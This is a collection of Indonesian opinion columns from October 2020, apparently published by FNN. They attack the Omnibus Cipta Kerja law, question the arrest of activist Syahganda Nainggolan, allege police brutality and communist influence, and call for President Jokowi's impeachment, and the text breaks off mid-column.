Binsar Panjaitan, yang biasa dibilang “Opung”. Sangat berani Bapak kita ini membela Cina dengan investasi jor-jorannya. Luhut Binsar Panjaitan membutakan diri terhadap kemungkinan komunis Cina bakal menungganggi investasinya di Indonesia. Sikap Luhut ini sama dengan Sintong Panjaitan, yang menantang rakyat untuk tunjukan sepuluh orang saja yang komunis. Komunis sudah tidak ada sergah Sinting. Sikap Luhut Panjaitan dan Sintong Panjaitan ini berbeda dengan dua Jenderal TNI lainnya, yakni Ryamizard Ryacudu dan Gatot Nurmantyo . Dua Jendral TNI (Purn.) benaran ini (bukan Jendral Kehormatan maksudnya) selalu berpidato, dan mengingatkan masyarakat Indonesia tentang keberadaan faham Komunis dan bangkitnya Partai Komunis Indonesia (PKI). Ryacudu bahkan menuding mereka yang ribut tidak ada komunis jangan-jangan dia yang komunis. Umat Islam tentu saja lebih percaya pada Ryacudu dan Gatot dari pada Luhut dan Sintong. Sebab Ryamizard dan Gatot ingin menjahit bangsa dari keretakan dan perpecahan akibat ulah komunis yang gemar memfitnah dan memecah-belah rakyat. Sementara Sintong dan Luhut justru seperti melepas jahitan, agar bangsa abai terhadap kerja komunis yang memecah belah sesama anak bangsa. Aneh untuk tidak mewaspadai faham komunis dan neo PKI dengan dukungan Cina yang dapat bereinkarnasi kembali. Ingat bahwa dulu juga banyak komunis menyusup di tentara. TNI saja telah dibuat retak. Pernyataan bahaya bagi bangsa saat ini adalah bahwa komunis itu sudah tidak ada. "Sudah kapok komunis di Indonesia" kata Sintong. Jaminan apa yang bisa diberikan pada bangsa dan rakyat Indonesia boss Sintong? Rakyat, khusunya umat pasti tidak akan percaya pada omongan Sintong atau Luhut. Pada Rancangan Undang-Undang Haluan Ideologi Pancasila (RUU HIP) saja yang ditolak umat Islam, karena diindikasi berbau komunis, rezim sekarang yang didukung para jenderal "abu-abu" diam saja. Tidak ada suara apa-apa. Hanya bisanya diam dan diam. Tidak mau membuktikan bahwa dirinya merah putih yang siap membela Pancasila yang sah. Pancasila 1 Juni 1945 malah dibiarkan berkibar. Para jenderal "abu-abu" ikut menuduh "Orde Baru" kepada masyarakat yang berteriak kembalikan negara pada Pancasila dan UUD 1945 18 Agustus 1945. Memang komunis itu sangat nyaman hidup di masa Orde Lama, saat Soekarno berkuasa dan bersahabat sangat dekat dengan PKI. Hancurnya PKI membawa dendam. Tapi sejarah tak bisa dibantah. Sintong Panjaitan sama saja dengan Luhut Panjaitan. Yang seperti lupa bahwa Jenderal DI Panjaitan dahulu telah menjadi korban dari kebiadaban PKI dan faham komunis. Tangan yang dipakai adalah juga tentara yang tidak pernah mengaku komunis yang bernama Cakrabirawa. Penulis adalah Pemerhati Politik dan Kebangsaan.

Penangkapan Syahganda Nainggolan,Yuridis Atau Politis?

by Dr. Abdul Chair Ramadhan SH. MH. Jakarta FNN – Rabu (14/10). Sebagaimana berita yang beredar luas di media sosial, Surat Perintah Penangkapan terhadap Syahganda Nainggolan didasarkan pada adanya Laporan Polisi dan Surat Perintah Penyidikan. Diketahui bahwa Laporan Polisi itu dibuat tanggal 12 Oktober 2020. Sementara Surat Perintah Penyidikan diterbitkan pada tanggal 13 Oktober 2020. Seiring dengan itu penangkapan dilakukan pada tanggal 13 Oktober 2020. Menjadi pertanyaan, begitu cepatnya Sprindik dibuat. Hanya berselang satu hari dari Laporan Polisi. Begitu juga dengan penangkapan di tanggal yang sama dengan keluarnya Surat Perintah Penyidikan. Kondisi demikian, tidaklah lazim dan sulit untuk dapat dimengerti dalam ilmu Hukum Acara Pidana. Penangkapan menunjuk pada seorang yang diduga keras melakukan tindak pidana. Terhadap tindakan penangkapan harus ada terlebih dahulu minimal dua alat bukti terkait dengan dugaan tindak pidana yang dilakukan. Dengan demikian, dalam proses penyidikan yang mengarah kepada penangkapan dipersyaratkan harus adanya minimal dua alat bukti. (Pasal 1 angka 20 Jo Pasal 17 KUHAP). Putusan Mahkamah Konstitusi Nomor 21/PUU-XII/2014 menyatakan bahwa frasa "bukti permulaan," "bukti permulaan yang cukup", dan "bukti yang cukup" sebagaimana ditentukan dalam Pasal 1 angka 14, Pasal 17, dan Pasal 21 Ayat (1) Undang-Undang Nomor 8 Tahun 1981 tentang Hukum Acara Pidana. Sepanjang tidak dimaknai bahwa "bukti permulaan," "bukti permulaan yang cukup", dan "bukti yang cukup" adalah minimal dua alat bukti yang termuat dalam Pasal 184 Undang-Undang Nomor 8 Tahun 1981 tentang Hukum Acara Pidana. Alat bukti tersebut yakni Surat, Keterangan Saksi dan Keterangan Ahli (Pasal 184 KUHAP). Disini dipertanyakan apakah minimal dua dari tiga alat bukti tersebut sudah diperoleh oleh penyidik? Mengingat Sprindik diterbitkan sehari setelah Laporan Polisi dibuat. Tentunya menimbulkan keraguan publik. Target a apa yang dicapai Polisi? Apakah yang penting bisa menahan Syahganda Nainggolan, salah satu Deklarator Koalisi Aksi Menyelamatkan Indonesia (KAMI)? Supaya Presiden Jokowi senang? Mahkamah Konstitusi juga menentukan bahwa sebelum penetapan status tersangka, harus dilakukan pemeriksaan terhadap calon tersangka. Hal ini merupakan bagian penting dari proses penetapan tersangka. Menurut Mahkamah Konstitusi, pemeriksaan calon tersangka dilakukan untuk transparansi dan perlindungan hak asasi seseorang. Tuajuannya, agar sebelum seseorang ditetapkan sebagai tersangka dapat memberi keterangan secara seimbang. Pemeriksaan calon tersangka ini penting. Untuk menghindari adanya tindakan sewenang-wenang oleh penyidik, terutama dalam menentukan bukti permulaan yang cukup. Pemeriksaan calon tersangka dan keberadaan minimal dua alat bukti bersifat kumulatif, bukan alternatif. Tegasnya, keduanya merupakan satu kesatuan atau berpasangan, dan oleh karenanya tidak terpisahkan. Apakah yang bersangkutan telah memenuhi unsur delik sebagaimana yang disangkakan? Dalam pemberitaan yang diketahui publik, Syahganda nainggolan diduga melakukan tindak pidana Pasal 14 Ayat (1) dan Ayat (2) dan/atau Pasal 15 Undang-Undang Nomor 1 Tahun 1946 tentang Peraturan Hukum Pidana dan/atau Pasal 45A Ayat (2) Jo Pasal 28 Ayat (2) Undang-Undang Nomor 19 Tahun 2016 tentang Perubahan Atas Undang-Undang Nomor 11 Tahun 2008 tentang Informasi dan Transaksi Elektronik. Patut untuk diketahui, Pasal 45 Ayat (2) Jo Pasal 28 Ayat (2) Undang-Undang Informasi dan Transaksi Elektronik merupakan delik materil dengan menunjuk frasa “untuk menimbulkan”. Apakah telah nyata sungguh-sungguh terjadi timbulnya kebencian atau permusuhan terhadap individu dan/atau kelompok masyarakat tertentu berdasarkan atas Suku, Agama, Ras, dan Antargolongan (SARA) kapan dan dimana? Dengan demikian, harus terwujud adanya akibat timbulnya kebencian atau permusuhan terhadap individu dan/atau kelompok masyarakat tertentu yang berdasarkan SARA. Tidak dapat dibenarkan adanya penafsiran, bahwa pemerintah maupun partai politik dan badan hukum, termasuk dalam dalam pengertian Antargolongan. Golongan disini adalah golongan penduduk berdasarkan Hukum Tata Negara. Kemudian, Pasal 14 Ayat (2) Undang-Undang Peraturan Hukum Pidana, tidaklah berdiri sendiri. Melainkan terkait dan berpasangan dengan Ayat (1). Pada Ayat (1), seseorang yang menyiarkan berita atau pemberitahuan bohong adalah memang berasal dari dirinya sendiri. Oleh karena itu, disebutkan “dengan sengaja” menerbitkan keonaran di kalangan rakyat. Dirinya memang menghendaki dan mengetahui perbuatannya, termasuk akibatnya. Adapun pada Ayat (2) seseorang yang menyiarkan suatu berita atau mengeluarkan pemberitahuan yang dapat menerbitkan keonaran di kalangan rakyat dalam kualitas “patut menyangka” bahwa berita atau pemberitahuan itu adalah bohong. Kualitas patut menyangka terhubung dengan adanya berita atau pemberitahuan bohong dari orang lain yang ia terima untuk kemudian dirinya turut memberitakan atau memberitahukannya kepada masyarakat. Dengan kata lain, delik Ayat (1) berpasangan dengan Ayat (2). Keduanya dapat dibedakan namun tidak dapat dipisahkan. Pertanyaannya, siapa yang pertama kali menyiarkan berita atau pemberitahuan bohong tersebut? Lebih dari itu Ayat (1) tergolong delik materil dengan frasa “menerbitkan keonaran dikalangan rakyat”. Keonaran disini identik dengan kerusuhan. Apakah pula kerusuhan di masyarakat itu sungguh-sungguh sudah terjadi sebelum yang bersangkutan dilakukan penangkapan? Penangkapan terhadap sejumlah aktivis, selain Syahganda Nainggolan, juga ada Anton Permana, Jumhur Hidayat dan yang lainnya, kesemuanya itu tidak dapat dilepaskan dari aksi 13 Oktober 2020 (Penolakan Undang-Undang Cilaka). Ketiga aktivis tersebut merupakan pengurus KAMI. Oleh karena itu, pertanyaan seriusnya adalah, apakah penangkapan tersebut murni berdasarkan hukum? Atau justru mengandung kepentingan politik? Wallahu ‘alam bishawab. Penulis adalah Ahli Hukum Pidana & Direktur HRS Center.

DDII Usul Asas Keimanan, Keadilan, & Keberkahan Dimasukkan dalam UU Omnibus

by Dr. H. Adian Husaini Jakarta FNN - Selasa (13/10). Bismillaahirrahmaaniraahiim. Setelah menelaah dan berdiskusi dengan sejumlah pakar hukum tentang UU Omnibus Law Cipta Kerja, maka Dewan Da'wah Islamiyah Indonesia (Dewan Da'wah) menyampaikan Pernyataan sebagai berikut: Dewan Da'wah menghargai setiap niat baik dan usaha untuk mewujudkan kehidupan bangsa Indonesia yang lebih baik. Namun, niat baik tersebut sepatutnya diwujudkan dengan cara-cara yang baik dan mengedepankan prinsip musyawarah mufakat. Dewan Da'wah mengakui bahwa kondisi bangsa Indonesia saat ini sedang dalam ujian yang berat, terdampak berbagai krisis multidimensi di tengah terpaan pandemi COVID-19. Dewan Da'wah mengamati adanya kesimpangsiuran perihal naskah final UU-Omnibus ini. Maka DPR dan PEMERINTAH kami harapkan untuk memperjelas persoalan ini, supaya rakyat tidak bingung. Dewan Da'wah menemukan dan mendapatkan banyak masukan tentang kelemahan dan kekurangan UU Cipta Kerja sebagaimana telah disampaikan banyak pakar hukum dan para tokoh serta pemimpin masyarakat. Masukan-masukan tersebut hendaknya menjadi catatan dan diperhatikan oleh pemerintah dan DPR-RI. Dewan Dawah juga sedang menyiapkan naskah Judicial Review ke Mahkamah Konstitusi terhadap proses pengundangan dan sebagian konten UU Omnibus, jika langkah hukum itu nanti dipandang tepat untuk dilakukan. Secara khusus, Dewan Da'wah mengajukan usulan, agar bagian ASAS, TUJUAN, DAN RUANG LINGKUP, UU Cipta Kerja, ditambahkan asas: KEIMANAN, KEADILAN, DAN KEBERKAHAN. Pada naskah yang beredar saat ini disebutkan: Undang-Undang ini diselenggarakan berdasarkan asas: a. pemerataan hak;b. kepastian hukum;c. kemudahan berusaha; d. kebersamaan; dan e. kemandirian. Usulan Dewan Da’wah itu didasarkan pada Pembukaan UUD 1945: “Atas berkat rahmat Allah Yang Maha Kuasa dan dengan didorongkan oleh keinginan luhur, supaya berkehidupan kebangsaan yang bebas, maka rakyat Indonesia menyatakan dengan ini kemerdekaannya. Kemudian daripada itu untuk membentuk suatu pemerintah negara Indonesia yang melindungi segenap bangsa Indonesia dan seluruh tumpah darah Indonesia dan untuk memajukan kesejahteraan umum, mencerdaskan kehidupan bangsa, dan ikut melaksanakan ketertiban dunia yang berdasarkan kemerdekaan, perdamaian abadi dan keadilan sosial, maka disusunlah kemerdekaan kebangsaan Indonesia itu dalam suatu Undang-Undang Dasar negara Indonesia, yang terbentuk dalam suatu susunan negara Republik Indonesia yang berkedaulatan rakyat dengan berdasar kepada: Ketuhanan Yang Maha Esa, kemanusiaan yang adil dan beradab, persatuan Indonesia, dan kerakyatan yang dipimpin oleh hikmat kebijaksanaan dalam permusyawaratan/perwakilan, serta dengan mewujudkan suatu keadilan sosial bagi seluruh rakyat Indonesia." Pembukaan UUD 1945 menegaskan pentingnya asas keimanan, keadilan, dan keberkahan. Tujuan dari kehidupan berbangsa dan bernegara pun sudah ditegaskan dalam pembukaan UUD 1945: ''serta dengan mewujudkan suatu keadilan sosial bagi seluruh rakyat Indonesia.” Keadilan harus ditegakkan untuk seluruh rakyat Indonesia, bukan untuk golongan tertentu. Sementara itu, Allah SWT sudah menunjukkan jalan untuk meraih berkah-Nya: Jika penduduk suatu negeri beriman dan bertaqwa kepada Allah, maka Kami akan melimpahkan kepada mereka berkah dari langit dan dari bumi. Tetapi mereka mendustakan (ayat-ayat Kami), maka Kami siksa mereka disebabkan perbuatannya. (QS al-Araf : 96). Pembukaan UUD 1945 pun sudah menegaskan, bahwa negara yang dicita-citakan oleh para pendiri bangsa adalah: negara Republik Indonesia yang berkedaulatan rakyat dengan berdasar kepada : Ketuhanan Yang Maha Esa Prof. Hazairin, Guru Besar Ilmu Hukum Universitas Indonesia berpendapat, Bahwa yang dimaksud dengan Tuhan Yang Maha Esa itu ialah Allah, dengan konsekuensi (akibat mutlak) bahwa Ketuhanan Yang Maha Esa berarti pengakuan Kekuasaan Allah atau Kedaulatan Allah. Jadi, kata Prof. Hazairin, Negara RI wajib menjalankan syariat Islam bagi orang Islam, syariat Nasrani bagi orang Nasrani dan syariat Hindu Bali bagi orang Bali, sekedar menjalankan syariat tersebut memerlukan perantaraan kekuasaan Negara. (Hazairin, Demokrasi Pancasila, (Jakarta: Rineka Cipta, 1990). Prof. Notonagoro, pakar hukum dan filsafat Pancasila dari UGM, menulis dalam bukunya, Pancasila, Secara Ilmiah Populer (Jakarta, Pancuran Tujuh, 1971): Sejak kita kembali kepada Undang-undang Dasar 1945, pada 5 Juli 1959, maka isi arti dari sila yang pertama itu mendapat tambahan. Perlu ditegaskan, bukan kata-katanya ditambah atau diubah, kata-katanya tetap, akan tetapi isi artinya mendapat tambahan, dan lengkapnya dengan tambahannya itu ialah kesesuaian dengan hakekat Tuhan Yang Maha Esa dengan kewajiban menjalankan syariat Islam bagi pemeluk-pemeluknya menurut dasar kemanusiaan yang adil dan beradab. Prof. Notonagoro juga menegaskan: Sila ke-Tuhanan Yang Maha Esa mengandung isi arti mutlak, bahwa dalam Negara Republik Indonesia tidak ada tempat bagi pertentangan dalam hal ke-Tuhanan atau keagamaan bagi sikap dan perbuatan anti ke-Tuhanan atau anti keagamaan dan bagi paksaan agama. Setelah itu, disusunlah pasal-pasal yang berprinsip pada keadilan dan tidak bertentangan dengan tuntunan Allah SWT. Dengan itu, insyaAllah, kita semua, bangsa Indonesia, meraih berkah dan rahmat Allah Yang Maha Kuasa. Demikian pernyataan Dewan Da'wah Islamiyah Indonesia tentang UU Omnibus Law Cipta Kerja. Semoga Allah SWT meridhoi langkah kita semua. Aamiin. Penulis adalah Ketua Umum Dewan Dakwah Islamiah Indonesia.

Mengapa Polisi Indonesia Brutal Ya?

by M. Rizal Fadillah Jakarta FNN – Selasa (13/10). Penanganan aksi demonstrasi buruh, mahasiswa dan pelajar STM/SMK di hari-hari mogok nasional buruh 6-8 Oktober 2020 sangat brutal. Ternyata di luar gambaran, Polisi sebagai pelindung, penagaman dan pengayom masyarakat jauh dari yang diharapkan. Brutal dan seperti ada "balas dendam" kepada peserta aksi. Apakah karena diserang ? Semua sudah hampir mafhum bahwa penyerang adalah "tangan buatan" dari berbagai kemungkinan kepentingan, termasuk dari Polisi sendiri. Sebab faktanya, para penyerang terhadap pendemo, sangat susah untuk bisa ditangkat oleh Polisi. Padahal polisi Indonesia terkenal hebat kalau untuk menangkap penjahat. Apalagi teroris dan pengkritik pemerintah. Sejak peristiwa demonstrasi di depan gedung Badan Pengawas Pemilu (Bawaslu) tanggal 21-22 Mei 2019, penanganan Polisi kepada pendemo sangat brutal. Penganiayaan dan pembunuhan pun terjadi. Dasar alasan adalah pelaku kerusuhan. Jadi terbayang dahulu, sewaktu Soekarno menganggap bahwa terbunuhnya para Jenderal sebagai "lumrah dalam revolusi". Kebrutalan Polisi tanpa pengusutan lebih lanjut. Kalaupun ada pengusutan, hanya dilakukan secara internal. Saksi terhadap pelaku kekerasan dari polisi hampir tidak diketahui publik. Yang terdengar hanya hukum disiplin pada beberapa anggota Polisi yang dianggap menyalahi prosedur. Indikasi keberadaan sniper juga terendus. Lalu wajah dan tampilan Polisi yang brutal juga saat aksi penolakan revisi UU KPK. Mahasiswa tewas dan anak STM teraniaya. Yusuf Kardawi dan Randi tewas di antaranya. Unjuk rasa terjadi dimana-mana, baik di Jakarta, Semarang, Yogyakarta, Makasar, Kendari dan daerah lainnya. Tuntutan dikeluarkan Perppu tidak digubris oleh Pemerintah. KPK pun lumpuh pasca terbit Undang-Undang revisi. Selalu menjadi pertanyaan dalam benak ini, mengapa penanganan unjuk rasa yang tersiar juga di berbagai media dunia selalu terlihat brutal? Padahal Jokowi Presiden Indonesia terlihat "calm" atau dingin. Mungkin ada beberapa hal terkait. Pertama, pola pembinaan yang keliru dan kurang memberi asupan materi tentang humanisme, hak asasi manusia, etika, dan nilai moral. Disamping dorongan pelaksanaan Pancasila dan pendalaman agama, khususnya tentang kesalehan dan dosa. Kedua, orientasi program Pemerintah yang materialistik dan pragmatik, sehingga aparat didoktrin sangat protektif. Menekan yang melawan kebijakan dinilai sebagai pembelaan negara. Unjuk rasa dipandang sebagai anti negara yang harus "dihukum". Bahaya kalau seperti ini pemahamannya. Negara demokrasi berubah menjadi negara kekuasaan yang otoriter. Ketiga, brutalisme adalah missi sengaja untuk menakuti. Pasukan Brigade Mobil (Brimob) yang berkarakter tentara diterjunkan saat menghadapi demonstrasi. Pasukan elit paramiliter ini bersenjata berat. Bawaannya adalah "perang" dengan musuh. Keempat, keeratan kerjasama dengan RRC. Tahun 2016 belasan perwira Polri belajar di Changsa Cina untukmendalami cyber crime. Tahun 2017 sebanyak 60 perwira tinggi peserta Sespimti melakukan KKN di Beijing dan Shanghai ke Kepolisian RRC. Meski tak jelas efek kerjasama, tetapi semua tahu Polisi RRC termasuk yang brutal dalam menangani aksi unjuk rasa. Kelima, ada modus sama pemantik tindakan keras adalah "kelompok hitam" yang memancing, baik dengan melempar batu maupun bakar bakar. Pola sama yang sebenarnya mudah untuk ditindak dan diusut tentang keberadaan "kelompok hitam" sang jago pancing dan rusuh tersebut. Terlepas dari semua itu, sikap brutal tersebut bukan saja merugikan pencitraan Polri sendiri. Tetapi juga Pemerintah Indonesia dalam kaitan penghargaan HAM. Disisi lain, jika tidak ada evaluasi, bisa saja rakyat atau pengunjuk rasa terpaksa harus membela diri dengan "mempersenjatai" diri dalam berunjuk rasa. Jika preman dibiarkan membantu Polri memakai kayu pemukul, kelak pengunjuk rasa juga bersiap siap dengan kayu pemukul pula. Ini tentu tak boleh terjadi. Semoga ada perubahan penanganan seperti yang diniatkan Kapolri Idham Azis saat memulai menjabat Kapolri. Lebih manusiawi. Penulis adalah Pemerhati Politik dan Kebangsaan.

UU Cipta Kerja Dan Proses Pemakzulan Jokowi

by Dr. Marwan Batubara Jakarta FNN – Selasa (13/10). Paripurna DPR telah mengesahkan UU Cita Kerja (Ciptaker) pada 5 Oktober 2020. RUU Ciptaker setebal 906 halaman tersebut, dibahas hanya 6 bulan sejak April 2020. Menurut pemerintah pembentukan UU Ciptaker bertujuan menciptakan lapangan kerja seluas-luasnya melalui perbaikan ekosistem investasi dan kemudahan berusaha. Dikatakan, UU Ciptaker akan merubah struktur ekonomi dan sektor terkait, sehingga investasi dan produktivitas meningkat. Lapangan kerja tercipta, ekonomi tumbuh dan rakyat makin sejahtera. Namun kalau tujuannya mulia, kenapa para buruh, mahasiswa, tokoh, aktivis, akademisi, kepala daerah, pakar, ormas dan berbagai kalangan rakyat menolak? Sebaliknya, jika pemerintah dan fraksi-fraksi DPR pendukung pemerintah berniat tulus meningkatkan kesejehteraan rakyat, mengapa pula harus membahas RUU Ciptaker terburu-buru? Juga tertutup, abai kaidah moral, abai peraturan, memanipulasi iniformasi dan menebar ancaman? Jawabnya, di balik pemaksaan kehendak tersebut ada kepentingan khusus. Ada rekayasa dan agenda tersembunyi pro oligarki yang menyelinap, sehingga berpotensi merugikan rakyat dan membahayakan kehidupan berbangsa. UU Ciptaker mungkin dapat meningkatkan investasi dan lapangan kerja. Namun para anggota oligarki penguasa-pengusahalah yang akan untung besar. Tidak heran, RUU Ciptaker dibahas dengan brutal. Menghalalkan segala cara, sesuai kehendak oligarki dan pemerintah, yang tampak semakin otoriter seperti diurai berikut ini. Pertama, melanggar sila pertama Pancasila. Karena pembentukan UU sarat prilaku moral hazard. Paripurna DPR menetapkan UU Ciptaker atas dasar dokumen sesat, karena draft final RUU sengaja disembunyikan. Dengan modus ini, meski sudah ditetapkan DPR, penguasa dapat saja merubah-rubah naskah RUU sesuka hati, sambil melihat sikon dan mengakomodasi aspirasi dan tuntutan publik. Secara moral, prilaku manipulatif ini jelas illegal, memalukan, amoral, merendahkan martabat bangsa dan pantas dipidanakan. Sebab hingga hari ini (12/10/2020) naskah akhir RUU malah belum diterima “partai oposisi”, PD dan PKS. Apalagi untuk diakses publik. Jika Presiden Jokowi menuduh publik menolak UU Ciptaker atas dasar hoax. Publik pun bisa pula mengatakan Presiden Jokowi penyebar hoax UU Ciptaker. Faktanya, justru klarifikasi Presiden Jokowi (9/10/2020) atas isu hoax yang berkembang di publik itu yang dinilai berpredikat hoax. Penilaian ini sesuai penjelasan Presiden KSPI Said Iqbal terkait isu-isu UMSP, UMSK, PHK, dan Hak Cuti, (12/10/2020). Kedua, tidak sejalan dengan prinsip-prinsip musyawarah mufakat sila ke-4 dan keadilan sila ke-5 Pancasila. Rapat-rapat Panja RUU Ciptaker yang diakui berjumlah 64 kali, sebagian besar berlangsung tertutup. Jangankan mengundang partisipasi dan bermusyawarah, naskah dan informasi terkait RUU pun tidak bisa diakses publik. Jangankan bagi publik, bahkan naskah RUU bagi sesama anggota DPR saat pembahasan saja dibatasi. Sebaliknya, pemerintah dan DPR justru memberi peran bagi pengusaha oligarkis. Bukan saja untuk memberi masukan, bahkan diberi peran penting menyusun draft RUU. Orang-orang dari unsur luar pemerintah, partai dan pengusaha sangat berperan membentuk UU ini. Beberapa penguasa dan pimpinan partai, serta sejumlah dan konglomerat seperti James Riyadi, dan Ruslan Rooslani, berserta sejumlah konspirator demikian dominan menentukan konten RUU. Sebaliknya buruh, pakar dan akademisi dihambat berpartisipasi. Hal ini jelas merupakan bentuk ketidakadilan dan persekongkolan yang mengangkangi prinsip-prinsip musyawarah dan keadilan Pancasila. Ketiga, melanggar UUD 1945 Pasal 1 ayat (2), “Kedaulatan berada di tangan rakyat dan dilaksanakan menurut Undang-Undang Dasar”. Tertutup dan konspiratifnya pembahasan RUU Ciptaker, pemerintah dan DPR telah menghalangi rakyat memperoleh informasi terkait dan naskah RUU Ciptaker, tetapi juga menghambat rakyat menyampaikan aspirasi dan melaksanakan hak kedaulatan yang dijamin konstitusi. Keempat, melanggar Pasal 5 UU No.12/Tahun 2011 tentang Pembentukan Peraturan Perundang-undangan (P3) dan Pasal 229 UU No.17/2014 tentang MPR, DPR, DPD dan DPRD (MD3). Mayoritas rapat Panja RUU melanggar asas keterbukaan karena dilakukan tertutup dan tidak dilakukan di DPR, tetapi di hotel-hotel. RUU dibahas tanpa partisipasi publik dan stakeholders terkait. Sesuai UU P3 dan MD3, pembentukan UU, mulai perencanaan, penyusunan, pembahasan, pengesahan atau penetapan, dan pengundangan bersifat transparan dan terbuka. Konsultasi publik dan audiensi yang dilakukan Pemerintah dan DPR dengan beberapa pihak pada awal pembahasan, untuk kepentingan internal, bukanlah pengambilan aspirasi dan partisipasi publik sebagaimana diperintahkan kedua UU itu. Kelima, melanggar Pasal 96 ayat (4) UU No.12/2011 tentang P3 yang menjamin akses informasi bagi publik. Naskah hasil pembahasan RUU sebelum diputuskan seharusnya dipublikasi, disebar kepada stakeholders dan diuji publik. Namun yang terjadi draft RUU Ciptaker tidak dipublikasi dan menjadi barang rahasia. Dengan begitu hak publik mengikuti perkembangan pembahasan dan memberi masukan lisan dan tertulis terhambat. RUU itu tidak dapat dipertanggungjawabkan secara formil dan materiil. Ternyata, modus manipulatif pembentukan UU Ciptaker berlangsung bersamaan dengan munculnya langkah represif, ancaman dan penangkapan terhadap publik yang kritis. Termasuk terhadap sejumlah demonstran. Jika prilaku penyelenggaran negara sudah demikian, anda masih bicara “saya Pancasila”? Bagaimana bisa para pejabat mengaku “saya Pancasila” tega melanggar prinsip-prinsip bernegara dan berbangsa yang menjunjung tinggi nilai-nilai moral? Bahkan hal ini dilakukan di tengah derita rakyat akibat pandemi Covid-19. Hal ini menunjukkan pemerintah telah meninggalkan prinsip-prinsip moral, demokrasi dan amanat reformasi. Pemerintah tampaknya secara perlahan berubah dari negara demokratis berazas hukum menjadi negara kekuasaan atau otriter. Pemerintah terbukti melakukan pendekatan kekuasaan dan menabrak Pancasila dan sejumlah ketentuan hukum terkai UU Ciptaker. Dalam Pasal 170 UU Ciptaker telah pula termuat aturan otoriter, Presiden bisa menerbitkan Peraturan Pemerintah (PP) untuk mengubah UU lain! Ternyata pemerintahan menuju otoriterianisme telah berlangsung sejak terbitnya Perppu No.1/2020 yang berubah jadi UU No.2/2020 tentang Kebijakan Keuangan Negara dan Stabilitas Sistem Keuangan atau UU Korona. UU ini memberi kekuasaan Presiden menetapkan APBN/APBN-P tanpa partisipasi DPR (contoh: Perpres No.54/2020 dan Perpres No.72/2020). Hal ini jelas memberangus hak budget DPR yang dijamin Pasal 23 ayat (2) dan ayat (3) UUD 1945. Presiden pun semakin berkuasa dan dapat bertindak di atas hukum atau melakukan abuse of power. Karena diberi hak impunitas dalam Pasal 27 UU No.2/2020 dan merubah ketentuan dalam 12 UU yang saat ini berlaku, pada Pasal 28 UU No.2/2020. Bentuk lain dari kekuasaan menuju otoriterianisme, melalui UU Minerba No.3/2020. Presiden berkuasa memperpanjang kontrak-kontrak PKP2B dan izin-izin usaha tambang kepada para oligarki dan pengusaha tambang yang kontrak/izinnya habis. Padahal menurut Pasal 33 UUD 1945 dan UU No.4/2009 yang diberangus, aset negara yang nilainya minimal Rp 10.000 triliun tersebut, harus dikelola oleh BUMN. Aset negara yang dapat menyejahterakan rakyat melalui BUMN, secara vulgar dirampok melalui konspirasi busuk oligarki kekuasaan. Kemenko Perekonomian menyatakan, sesuai arahan Presiden Jokowi, akan diterbitkan sekitar 35 PP dan 4 Prepres sebagai turunan operasional dari UU Ciptaker dalam waktu 3 bulan ke depan. Bagaimana anda akan menerbitkan PP dan Perpres secara benar, legal dan objektif, jika UU-nya saja disusun penuh konspirasi, rekayasa dan manipulasi, serta belum juga final? Otoriterianisme dan pemaksaan kehendak ini akan tetap dilanjutkan pemerintah? Bagi IRESS, rencana tersebut harus segera dibatalkan. Karena berbagai prilaku moral hazard, cacat formil, cacat materiil, melanggar UU, konstitusi dan menihilkan Pancasila, maka UU Ciptaker harus segera dicabut. Apalagi jika motif di balik pembentukan UU yang digadang-gadang sebagai alat untuk meningkatkan invesasti dan lapangan kerja itu, ternyata lebih banyak ditujukan untuk kepentingan oligarki kekuasaan dan asing. Dalam tiga UU terkahir, yakni UU Korona No.2/2020, UU Minerba No.3/2020 dan draft UU Ciptaker, telah ditetapkan kekuasaan Presiden yang semakin besar menuju otoriterianisme. Oligarki kekuasaan tampak telah terlibat aktif merubah NKRI dari negara hukum, perlahan menjadi negara kekuasaan. Kenyataan ini jelas bertentangan dengan Pancasila dan UUD 1945. Karena telah melanggar berbagai UU dan mengkhianati UUD 1945, pantas jika DPR dan MPR memulai proses pemakzulan terhahap Presiden Jokowi sesuai amanat Pasal 7 UUD 1945. Sebagai kesimpulan, kita menuntut agar UU Ciptaker yang ditetapkan DPR pada 5 Oktober 2020 segera dibatalkan. Karena dinilai bersikap semakin otoriter, pro oligarki, serta melanggar sejumlah peraturan dan konstitusi, maka Presiden Jokowi ditutut untuk segera menjalani proses pemakzulan oleh DPR/MPR. Demi hukum, keadilan dan kedaulatan rakyat, mari bergabung mengadvokasi pembatalan UU Ciptaker dan proses pemakzulan Presiden Jokowi. Penulis adalag Direktur Eksekutif Institute Resources Studies (IRESS).

Alhamdulillah, Guru Besar Tidak Tolol Menilai UU Omnibus

by Dr. Margarito Kamis SH.Hum Jakarta FNN – Selasa (13/10). Para Guru Besar, yang mengeritik keras UU Omnibus Cipta Kerja yang baru saja disahkan itu sebagai tolol? Yang benar saja deh. Apa mereka semua berkacamata kuda dalam menimbang UU Omnibus Cipta Kerja? Jangan aneh-aneh deh. Para Guru Besar itu tidak mampu mengenal ambisi besar UU, yang saya nilai sialan ini, hendak menaruh monster pencegah korupsi di hulu semua proses berinvestasi? Jengan mengada-ada. Berpura-purakah mereka kritis? Aneh-aneh aja. Apakah Mereka yang biasa melahirkan para doktor, magister dan sarjana tak punya peralatan, metodologi berpikir? Enak aja. Lensa Keilmuan Kelewat konyol bila mengatakan Gara Buru besar kritis itu, tidak mengerti kelemahan dan kelebihan paradigma. Paradigma menentukan out put. Gambaran besar atau kecil diujung penalaran atas fakta. Fakta memiliki makna. Pemberian makna atas satu fakta, mungkin akan berbeda. Itu merupakan hal biasa, dan itu alamiah dalam khazanah ilmu. Satu Guru Besar dengan Guru Besar lain mungkin akan berbeda memaknai kenyataan anggota DPR tidak dibelakai RUU itu pada saat disahkan menjadi UU. Kenyataan itu defenitif. Kenyataan ini dapat diperiksa secara obyektif. Kenyataan itu tidak dikarang-karang. Para originalism seperti Antonio Scalia, hakim Agung Amerika Serikat, yang empat tahun lalu meninggal dunia di usia lebih 80 tahun itu, menjadikan teks sebagai determinative law. Law as text. Paradigma dominan ini, betapapun diagungkan Scalia, tetapi, bukan tak dapat dikritik. Paradigma interpretasi ini, dalam kenyataan keilmuan juga menjadi alamat kritik hebat. Dalam sifatnya ini sama dengan pradigma klasik yang berkembang di Perancis, yang dikenal bouse de la loi atau judges as mouth of law. Hakim itu mulut UU. Hukum itu adanya di undang-undang. Maknanya hakim jangan keluar dari UU dalam menemukan hukum. Hakim harus menganggap UU adalah hukum. Diluar itu tidak. Kelebihannya, begitulah dunia keilmuan, ternyata tidak mengubur munculnya kelemahan di 